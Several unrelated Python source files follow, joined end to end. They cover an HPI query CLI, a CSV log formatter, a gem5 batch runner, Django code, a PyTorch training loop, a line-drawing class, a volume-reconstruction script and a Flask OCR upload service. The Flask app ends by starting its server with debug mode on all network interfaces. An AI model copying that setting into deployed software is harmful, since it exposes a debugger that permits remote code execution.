              help="if any errors are returned (as objects, not raised) from the functions, raise them")
@click.option('--drop-exceptions',
              default=False,
              is_flag=True,
              help='ignore any errors returned as objects from the functions')
@click.argument('FUNCTION_NAME', nargs=-1, required=True, shell_complete=_module_autocomplete)
def query_cmd(
    function_name: Sequence[str],
    output: str,
    stream: bool,
    order_key: Optional[str],
    order_type: Optional[str],
    after: Optional[str],
    before: Optional[str],
    within: Optional[str],
    recent: Optional[str],
    reverse: bool,
    limit: Optional[int],
    drop_unsorted: bool,
    wrap_unsorted: bool,
    warn_exceptions: bool,
    raise_exceptions: bool,
    drop_exceptions: bool,
) -> None:
    '''
    This allows you to query the results from one or more functions in HPI

    By default this runs with '-o json', converting the results
    to JSON and printing them to STDOUT

    You can specify '-o pprint' to just print the objects using their
    repr, or '-o repl' to drop into a ipython shell with access to the results

    While filtering using --order-key datetime, the --after, --before and --within
    flags parse the input to their datetime and timedelta equivalents. datetimes can
    be epoch time, the string 'now', or an date formatted in the ISO format. timedelta
    (durations) are parsed from a similar format to the GNU 'sleep' command, e.g.
    1w2d8h5m20s -> 1 week, 2 days, 8 hours, 5 minutes, 20 seconds

    As an example, to query reddit comments I've made in the last month

    \b
    hpi query --order-type datetime --before now --within 4w my.reddit.all.comments
    or...
    hpi query --recent 4w my.reddit.all.comments

    \b
    Can also query within a range. To filter comments between 2016 and 2018:
    hpi query --order-type datetime --after '2016-01-01' --before '2019-01-01' my.reddit.all.comments
    '''

    from datetime import datetime, date

    chosen_order_type: Optional[Type]
    if order_type == "datetime":
        chosen_order_type = datetime
    elif order_type == "date":
        chosen_order_type = date
    elif order_type == "int":
        chosen_order_type = int
    elif order_type == "float":
        chosen_order_type = float
    else:
        chosen_order_type = None

    if recent is not None:
        before = "now"
        chosen_order_type = chosen_order_type or datetime  # dont override if the user specified date
        within = recent
        reverse = not reverse

    from .query import QueryException

    try:
        query_hpi_functions(
            output=output,
            stream=stream,
            qualified_names=list(function_name),
            order_key=order_key,
            order_by_value_type=chosen_order_type,
            after=after,
            before=before,
            within=within,
            reverse=reverse,
            limit=limit,
            drop_unsorted=drop_unsorted,
            wrap_unsorted=wrap_unsorted,
            warn_exceptions=warn_exceptions,
            raise_exceptions=raise_exceptions,
            drop_exceptions=drop_exceptions)
    except QueryException as qe:
        eprint(str(qe))
        sys.exit(1)

# todo: add more tests?
# its standard click practice to have the function click calls be a separate
# function from the decorated function, as it allows the application-specific code to be
# more testable. also allows hpi commands to be imported and called manually from
# other python code

def test_requires() -> None:
    from click.testing import CliRunner
    result = CliRunner().invoke(main, ['module', 'requires', 'my.github.ghexport', 'my.browser.export'])
    assert result.exit_code == 0
    assert "github.com/karlicoss/ghexport" in result.output
    assert "browserexport" in result.output

if __name__ == '__main__':
    # prog_name is so that if this is invoked with python -m my.core
    # this still shows hpi in the help text
    main(prog_name='hpi')


from oplog.formatters.base_operation_formatter import BaseOperationFormatter
from oplog.operation import Operation

class CsvOperationFormatter(BaseOperationFormatter):
    def format_op(self, op: Operation) -> str:
        csv_row = [
            f'"{op.start_time_utc_str}"',
            f'"{str(op.duration_ms)}"',
            f'"{op.name}"',
            f'"{op.correlation_id}"',
            f'"{op.result}"',
            f'"{str(op.exception_type)}"',
        ]
        return ','.join(csv_row)


"""Meta-runner: will kick off as many run-gem5-roi-docker.py executions as it can.
"""

from concurrent import futures
import os

num_available_cores = 4

# The total number of gem5 executions. To execute all benchmarks and paramter combinations, need
# len(num_cores_list) * len(benchmarks) * len(input_sizes) * len(l2_sizes) * num_samples

num_runs = 5

def runner(run_num):
    """Helper function to run a command in a subprocess"""
    os.system(f'python /shared/python-runners/run-gem5-roi-docker.py -n {run_num}')

# Running this on a 4 core machine. Limit to num_cpu workers at a time
with futures.ProcessPoolExecutor(max_workers=(num_available_cores-1)) as pool:
    pool.map(runner, list(range(num_runs)))


# coding: utf8
from django.db import models
from orum import Orum
from period import Period

__author__ = 'Demyanov Kirill'

class OrumCorrection(models.Model):
    orum = models.ForeignKey(
        Orum
    )
    period = models.ForeignKey(
        Period,
        null=True
    )
    kwh = models.DecimalField(
        u'Корректировка в kwh',
        decimal_places=5,
        max_digits=17,
        default=0
    )


from transformers.optimization import get_cosine_schedule_with_warmup , get_linear_schedule_with_warmup
from tqdm import tqdm
import torch as tc
import pdb
import os , sys
import math
import fitlog
import pickle
from models import get_model
from test import test
from utils.train_util import get_data_from_batch

def before_train(C , logger , train_data , n_rel_typs):

	batch_numb = (len(train_data) // C.batch_size) + int((len(train_data) % C.batch_size) != 0)
	device = tc.device(C.device)

	model = get_model()(
		n_rel_typs = n_rel_typs , dropout = C.dropout ,
		device = C.gpus[0] ,
		gnn = C.gnn , matrix_trans = C.matrix_trans , matrix_nlayer = C.matrix_nlayer ,
	).to(C.gpus[0])

	model = tc.nn.DataParallel(model , C.gpus)

	optimizer = tc.optim.Adam(params = model.parameters() , lr = C.lr)

	scheduler_makers = {
		"linear": get_linear_schedule_with_warmup ,
		"cosine": get_cosine_schedule_with_warmup ,
	}

	scheduler = scheduler_makers[C.scheduler](
		optimizer = optimizer ,
		num_warmup_steps = int(C.warmup_prop * batch_numb * C.epoch_numb),
		num_training_steps = batch_numb * C.epoch_numb ,
	)

	return (batch_numb , device) , (model , optimizer , scheduler)

def update_batch(C , logger ,
		model , optimizer , scheduler , loss_func ,
		sents , ents , anss , data_ent ,
	):
	pred = model(sents , ents , devices = C.gpus)
	loss = loss_func(pred , anss , ents)

	#----- backward -----
	optimizer.zero_grad()
	loss.backward()
	optimizer.step()
	scheduler.step()

	return loss , pred

def train(C , logger , train_data , valid_data , loss_func , generator , n_rel_typs , run_name = "0" , test_data = None):
	(batch_numb , device) , (model , optimizer , scheduler) = before_train(
		C , logger , train_data , n_rel_typs
	)
	#----- iterate each epoch -----

	best_epoch = -1
	best_metric = -1
	for epoch_id in range(C.epoch_numb):

		pbar = tqdm(range(batch_numb) , ncols = 70)
		avg_loss = 0
		for batch_id in pbar:
			#----- get data -----
			data = train_data[batch_id * C.batch_size : (batch_id+1) * C.batch_size]
			sents , ents , anss , data_ent = get_data_from_batch(data , device = device)

			loss , pred = update_batch(
				C , logger , model , optimizer , scheduler , loss_func , sents , ents , anss , data_ent
			)

			avg_loss += float(loss)
			fitlog.add_loss(value = float(loss) , step = epoch_id * batch_numb + batch_id ,
					name = "({0})train loss".format(run_name))

			pbar.set_description_str("(Train)Epoch %d" % (epoch_id))
			pbar.set_postfix_str("loss = %.4f (avg = %.4f)" % ( float(loss) , avg_loss / (batch_id+1)))
		logger.log ("Epoch %d ended. avg_loss = %.4f" % (epoch_id , avg_loss / batch_numb))

		micro_f1 , macro_f1 , test_loss = test(
			C , logger ,
			valid_data , model ,
			loss_func , generator ,
			"valid" , epoch_id   , run_name ,
		)

		if C.valid_metric in ["macro*micro" , "micro*macro"]:
			metric = macro_f1 * micro_f1
		elif C.valid_metric == "macro":
			metric = macro_f1
		elif C.valid_metric == "micro":
			metric = micro_f1
		else:
			assert False

		if best_metric < metric:
			best_epoch = epoch_id
			best_metric = metric
			with open(C.tmp_file_name + ".model" + "." + str(run_name) , "wb") as fil:
				pickle.dump(model , fil)

		#	fitlog.add_best_metric(best_macro_f1 , name = "({0})macro f1".format(ensemble_id))

		model = model.train()

	if not C.no_valid: #reload best model
		with open(C.tmp_file_name + ".model" + "." + str(run_name) , "rb") as fil:
			model = pickle.load(fil) #load best valid model
		logger.log("reloaded best model at epoch %d" % best_epoch)

	if test_data is not None:
		final_micro_f1 , final_macro_f1 , final_test_loss = test(
			C , logger ,
			test_data , model ,
			loss_func , generator ,
			"test" , epoch_id   , run_name ,
		)

	return model , best_metric


from django import template

register = template.Library()

@register.filter
def show_exact_length(items_list, fixed_length):
    length = len(list(items_list))
    result = []
    if length > fixed_length:

        for idx in range(0, length, fixed_length):
            result.append(items_list[idx:(idx + fixed_length)])
        return result
    return None


# -*- coding:utf-8 -*-

import struct

from enumerate import *
from ingredient import Ingredient
from log import Log

logger = Log.get_logger("engine")

class Line(Ingredient):
    def __init__(self, window, id, color, weight, x1, y1, x2, y2,
                 style=LineStyle.SOLID.name,
                 palette=None):
        super().__init__(window, id, palette)
        self._color = color
        self._weight = weight
        self._x1, self._y1, self._x2, self._y2 = x1, y1, x2, y2
        self._style = LineStyle[style]

    @property
    def height(self):
        if self._y2 == self._y1:
            return 1 + self._weight
        elif self._y2 > self._y1:
            return self._y2 - self._y1 + 1
        else:
            return self._y1 - self._y2 + 1

    @property
    def width(self):
        if self._x1 == self._x2:
            return 1 + self._weight
        elif self._x1 > self._x2:
            return self._x1 - self._x2
        else:
            return self._x2 - self._x1

    def top_line(self):
        return min(self._y1, self._y2)

    def _check_style(self, x):
        if self._style == LineStyle.SOLID:
            return True
        elif self._style == LineStyle.DASH:
            return (x % (DASH_WIDTH + 1)) < DASH_WIDTH
        elif self._style == LineStyle.DOT1:
            return (x % 2) == 0
        elif self._style == LineStyle.DOT2:
            return (x % 3) == 0
        elif self._style == LineStyle.DOT3:
            return (x % 4) == 0
        elif self._style == LineStyle.DASH_DOT:
            index = x % (DASH_WIDTH + 3)
            return index < DASH_WIDTH or index == DASH_WIDTH + 1
        elif self._style == LineStyle.DASH_DOT_DOT:
            index = x % (DASH_WIDTH + 5)
            return index < DASH_WIDTH or \
                   index == DASH_WIDTH + 1 or \
                   index == DASH_WIDTH + 3
        else:
            raise Exception('Unknown style <%s>' % self._style)

    def draw_line(self, window_line_buf, window, y, block_x):
        color = self.get_color( self._color)
        if self._y2 == self._y1:
            if self._y1 <= y < self._y1 + self._weight:
                for x in range(block_x + self._x1, block_x + self._x2):
                    if 0 <= x < window.width and self._check_style(x):
                        window_line_buf[x] = color
        elif self._x1 == self._x2:
            for i in range(self._weight):
                index = block_x + self._x1 + i
                if 0 <= index < window.width and self._check_style(y):
                    window_line_buf[index] = color
        else:
            slope = (self._x2 - self._x1) / (self._y2 - self._y1)
            px = self._x1 + int(slope * (y - self._y1) + 0.5)
            for i in range(self._weight):
                pos = block_x + px + i
                if 0 <= pos < window.width and self._check_style(y):
                    window_line_buf[pos] = color

    def __str__(self):
        return "%s(id:%s, (%d, %d) - (%d, %x), color:%#x, weight:%d, palette:%s)" % \
               (type(self), self._id, self._x1, self._y1, self._x2, self._y2,
                self._color,
                self._weight,
                self._palette)
    @property
    def ingredient_type(self):
        return IngredientType.LINE.value

    def to_binary(self, ram_offset):
        logger.debug('Generate Line <%s>' % self._id)
        ram = b''
        bins = struct.pack('<BBxx', self.ingredient_type, self.palette_index())
        bins += struct.pack('<HHHH', self._x1, self._y1, self._x2, self._y2)
        bins += struct.pack('<BBBx', self._weight, self._style.value, self._color)
        return bins, ram


import math
import os
import time
from multiprocessing import cpu_count, freeze_support, Pool

import cv2
import numpy as np
import tqdm
from scipy.interpolate import interp1d

CORES = cpu_count()
INTERP = False
TEST = False
MULTITHREADING = False
# TODO: refactor code & add to git

os.chdir("C:\\Users\\Федор\\Documents\\GIT\\UnityVolumeRendering\\DataFiles\\sv1\\test2")
if TEST:
    os.chdir("C:\\Users\\Федор\\Documents\\GIT\\UnityVolumeRendering\\DataFiles\\sv1\\test\\PNG_Rad")

def construct_linear(images, angles):
    """
    Constructs linear interpolation polynom
    :param images: array with two images
    :param angles: array with corresponding angles to images
    :return:
    """
    a1 = (images[1] - images[0]) / (angles[1] - angles[0])
    a0 = images[0] - a1 * angles[0]
    return lambda x: a0 + a1 * x

def fill_zeros(a, thresh):
    """
    Fills elements in array with zeros if val < thresh
    :param a:
    :param thresh:
    :return:
    """
    for i in range(len(a)):
        for j in range(len(a[i])):
            for k in range(len(a[i][j])):
                if a[i, j, k] < thresh:
                    a[i, j, k] = 0
    return a

def interp_through_1darr(arr):
    """
    Interpolates thorugh 1d array
    :param arr:
    :return:
    """
    x = np.arange(len(arr))
    idx = np.nonzero(arr)
    try:
        interp = interp1d(x[idx], arr[idx])
        return interp(x)
    except ValueError:
        return arr

def decart_interp(a):
    """
    Interpolates a in decarte coordinate system
    :param a: array
    :return:
    """
    a = fill_zeros(a, 40)
    for i in range(len(a)):
        for j in range(len(a[i][0])):
            a[i, :, j] = interp_through_1darr(a[i, :, j])
    return a

def process_photo(img, shape, a, angle):
    """
    Proceses image
    :param img:
    :param shape:
    :param a:
    :return:
    """
    for j in range(shape[0]):
        for k in range(shape[1]):
            x = math.floor((k - shape[0] / 2) * math.sin(angle) + 0.5 * a.shape[2] / math.sqrt(2))
            y = math.floor((k - shape[0] / 2) * math.cos(angle) + 0.5 * a.shape[2] / math.sqrt(2))
            try:
                # вероятно должна быть инверсия
                if a[j][y][x] != 0:
                    a[j][y][x] = 0.5 * (a[j][y][x] + img[j][k])
                else:
                    a[j][y][x] = img[j][k]
            except IndexError:
                pass
    return a

def process_photo_parallel(data):
    return process_photo(data[0], data[1], data[2], data[3])

def load_image(i):
    """
    Loads ith image from dataset
    :param i: index
    :return: image
    """
    name = "CaptSave" + str(i) + ".png"
    # name = "test_1.png"
    if TEST:
        num_true = str(i) if i > 9 else "0" + str(i)
        name = "rad" + num_true + ".png"
    img = cv2.imread(name, 0)
    return img

def construct_interp_poly(images, angles):
    """
    Constructs 2nd order poly
    :param images: array with images
    :param angles: array with corresponding angles
    :return: interp function
    """
    a2 = (images[2] - images[0]) / ((angles[2] - angles[0]) * (angles[2] - angles[1])) - \
         (images[1] - images[0]) / ((angles[1] - angles[0]) * (angles[2] - angles[1]))
    a1 = (images[1] - images[0]) / (angles[1] - angles[0]) - a2 * (angles[1] + angles[0])
    a0 = images[0] - a1 * angles[0] - a2 * angles[0] ** 2
    return lambda x: a0 + a1 * x + a2 * x ** 2

def load_angles():
    """
    Loades file with angles
    :return:
    """
    angles = []
    with open("./CaptSave.tag", 'r') as f:
        lines = f.readlines()
        for line in lines:
            angles.append(line.split(sep=';')[10])
    return angles

if __name__ == "__main__":
    angles = load_angles()
    names = [name for name in os.listdir(os.getcwd()) if os.path.splitext(name)[1] == '.png']
    max_x, max_y = 0, 0
    for name in names:
        img = cv2.imread(names[0])
        if max_x < img.shape[0]:
            max_x = img.shape[0]
        if max_y < img.shape[1]:
            max_y = img.shape[1]
    shape = (max_x, max_y)
    a = np.ndarray((shape[1] + 2, int(1.2 * shape[0]), int(1.2 * shape[0])))
    freeze_support()
    start_time = time.time()
    # Proxessing all standart photos
    print("Starting main conversation algorithm")
    if MULTITHREADING:
        with Pool(CORES - 1) as pool:
            a = sum(tqdm.tqdm(pool.imap(process_photo_parallel,
                                        [(load_image(i), shape, a, float(angles[i])) for i in range(len(angles))])))
    else:
        for i in tqdm.tqdm(range(len(angles))):
            a = process_photo_parallel((load_image(i), shape, a, float(angles[i])))
    print("Time taken: ", time.time() - start_time)
    start_time = time.time()
    # Interpolation
    if INTERP:
        for i in tqdm.tqdm(range(0, len(angles), 2)):
            images = []
            ang = []
            for j in range(2):
                if i + j < len(angles):
                    images.append(load_image(i + j))
                    ang.append(float(angles[i + j]))
                else:
                    images.append(j)
                    ang.append(float(angles[j]) + math.pi)
            # f = construct_interp_poly(images, ang)
            f = construct_linear(images, ang)
            num_step = 10
            delta = (ang[1] - ang[0]) / num_step
            for k in range(num_step):
                angle = ang[0] + i * delta
                a = process_photo(f(angle), shape, a, angle)
            # num_points = 10
            # for i in range(num_points):
            #     imgt = np.add(images[0] * i / num_points, images[1] * (1 - i / num_points))
            #     angs = ang[0] * i / num_points + ang[1] * (1 - i / num_points)
            #     a = process_photo(imgt, shape, a, angs)
    # a = decart_interp(a)
    print("Time taken: ", time.time() - start_time)
    os.mkdir("./result")
    print("\nSaving images...")
    for i in tqdm.tqdm(range(shape[0])):
        img = a[i, :, :]
        for j in range(len(img)):
            img[j] = interp_through_1darr(img[j])
        if img.max() > 20:
            if i >= 100:
                cv2.imwrite("./result/Image" + str(i) + ".png", img)
            elif i < 10:
                cv2.imwrite("./result/Image00" + str(i) + ".png", img)
            elif i < 100:
                cv2.imwrite("./result/Image0" + str(i) + ".png", img)
    z, x, y = a.nonzero()


import os
import subprocess
import tempfile

from flask import Flask, request, jsonify

app = Flask(__name__)

@app.route('/')
def hello_world():
    return 'Hello World!\n'

@app.route('/upload', methods=['GET', 'POST'])
def upload():
    if request.method == 'POST':
        photo = request.files['file']
        number = parse_number(photo).strip()
        return jsonify({'ticket number': str(number)})
    return '''
    <!doctype html>
    <title>Get ticket number</title>

Get ticket number

    <form action="/upload" method=post enctype=multipart/form-data>

<input type=file name=file>
         <input type=submit value="Submit photo">
    </form>
    '''

def parse_number(photo):
    with tempfile.NamedTemporaryFile() as tmp:
        photo.save(tmp.name) # race condition, see how reading in process
        # can i just use STDIN and STDOUT ?
        tmp.flush()
        os.fsync(tmp.fileno())
        with tempfile.NamedTemporaryFile() as converted_file:
            args = ['convert', tmp.name, '-fuzz', '10%', '-fill', 'black',
                                       '-opaque', '#C1372C', '-threshold', '3%',
                                       converted_file.name]
            status = subprocess.call(args)

            if status:
                return 'OH NOSE!'
            converted_file.flush()
            os.fsync(converted_file.fileno())
            return subprocess.check_output(['tesseract', converted_file.name, 'stdout', 'digits'],
                                           universal_newlines=True)

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True)